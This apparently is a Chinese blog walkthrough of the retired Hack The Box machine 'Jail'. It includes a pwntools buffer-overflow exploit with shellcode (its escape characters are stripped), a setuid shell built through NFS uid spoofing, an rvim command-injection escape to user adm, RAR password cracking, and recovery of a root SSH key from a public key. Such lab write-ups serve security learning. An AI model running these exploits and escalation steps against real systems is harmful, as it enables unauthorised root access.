• HTB-靶机-Jail


    本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

    靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.34

    本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

    执行命令

    autorecon 10.10.10.34 -o ./jail-autorecon

    最终的扫描结果

    nfs服务详细信息

    得知目标开放了两个共享目录,先看看80端口的web应用

    发现了如上信息,没啥用,使用ffuf跑跑目录

    ffuf -u http://10.10.10.34/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e .php,.c,.txt

    跑出来了jailuser 访问得到如下

    把上面文件都下载下来

    通过查看得知源代码开放7411端口是个身份证登录验证的程序,通过测试验证此程序在目标靶机启动并开放7411端口,而且存缓冲区溢出漏洞

    得到上述信息是本地启用此程序,然后本地监听了端口7411,使用nc -vn进行连接测试 最终得出可溢出的位置,便有了下面的利用代码,参考的shellcode是:https://www.exploit-db.com/exploits/34060

    #!/usr/bin/env python
    
    from pwn import *
    import struct
    
    shellcode = "x6ax02x5bx6ax29x58xcdx80x48x89xc6"
    shellcode+="x31xc9x56x5bx6ax3fx58xcdx80x41x80"
    shellcode+="xf9x03x75xf5x6ax0bx58x99x52x31xf6"
    shellcode+="x56x68x2fx2fx73x68x68x2fx62x69x6e"
    shellcode+="x89xe3x31xc9xcdx80"
    
    payload = "A"*28 + struct.pack("<I",0xffffd610 + 32) + shellcode
    
    r = remote('10.10.10.34', 7411)
    r.sendline('DEBUG')
    
    print r.recv(1024)
    r.sendline('USER admin')
    
    print r.recv(1024)
    r.sendline('PASS ' + payload)
    
    r.interactive()

    具体分析可参考这两篇文章 

    https://reboare.github.io/htb/htb-jail.html  
    https://medium.com/@gabriel.pirjolescu/hack-the-box-jail-write-up-e279862155d4

    成功拿到一个低权限的shell,读取不了user.txt文件,需要提权到其他普通用户查看,这里前面扫描已经得出来了目标靶机存在nfs服务,并且开放了两个共享目录,利用方式以前也说过,通过本地创建跟目标用户相同的uid和gid ,然后使用此用户重新挂载nfs即可

    查看到目标靶机存在普通用户frank,我们的目的是通过nfs提权横向移动到此用户,具体操作如下:

    nfs提权
    
    本地创建添加指定用户uid和gid
    sudo groupadd -g 1000 frank
    sudo adduser frank -uid 1000 -gid 1000
    
    修改指定用户uid和gid
    usermod -u 1008 kali
    groupmod -g 1008 kali
    
    创建C代码shell指定uid和gid为1000
    
    #include <stdio.h>
    #include <stdlib.h>
    #includ <unistd.h>
    
    int main(int argc, char *argv[])
    {
        setreuid(1000,1000);
        printf("ID:%d
    ",geteuid());
        execve("/bin/sh",NULL,NULL);
    }

    frank@kali:/mnt/jail/nfsshare$ gcc bmfxshell.c -o bmfxshits
    frank@kali:/mnt/jail/nfsshare$ chmod u+s bmfxshits

    因为本机kali占用了uid和gid为1000,所以需要先修改kali为其他的非1000的uid和gid然后再创建,成功之后重新挂载nfs,挂载完成记得是在挂载成功的目录下编译提权的C代码,我这测试在本地编译好复制过去提权不成功,上述成功之后得到如下信息:

    通过上面可以看到需要再次横向移动到用户adm,其存在一个漏洞是可以通过rvim漏洞 https://github.com/vim/vim/issues/1543 进行绕过切换至用户adm

    通过执行如下命令进行横向提权

    sudo -u adm /usr/bin/rvim /var/www/html/jailuser/dev/jail.c
    :diffpatch $(sh <&2 >&2)

    提权到用户adm得到如下提示信息

    由于目标靶机shell不是太稳定,且不友好,我这就是base64编码的形式拿到本地kali中分析

    上述的keys.rar是拿到本地来了,但是尝试打开的时候需要密码,再回头看看上述的其他提示信息,在谷歌上搜索了一把得到一片文章

    所以根据提示使用命令crunch根据关键字生成字典通过john进行爆破

    crunch 11 11 -t Morris1962^ > bmfxpass

    开始对rar文件密码进行爆破之前先转换下

    开始破解

    得到密码 keys.rar:Morris1962!:1::rootauthorizedsshkey.pub  进行解压此rar文件

    得到一个公钥,然后可以使用前面讲到的工具 https://github.com/Ganapati/RsaCtfTool将公钥变成私钥,将得到的使用连接目标靶机的root用户即可拿到root.txt

    python3 RsaCtfTool.py --publickey rootauthorizedsshkey.pub --private > id_rsa

    迷茫的人生,需要不断努力,才能看清远方模糊的志向!
  • 相关阅读:
    保险实战
    单片机的应用(位操作)
    显示转换(类型转换)
    游泳池的容量
    消失的重量(隐式变换)
    物品交换(变量)
    物品的存放(变量)
    输出变量的界值(int、float、long.....)
    在屏幕上输出内容
    C#笔记
  • 原文地址:https://www.cnblogs.com/autopwn/p/13968317.html
Copyright © 2020-2023  润新知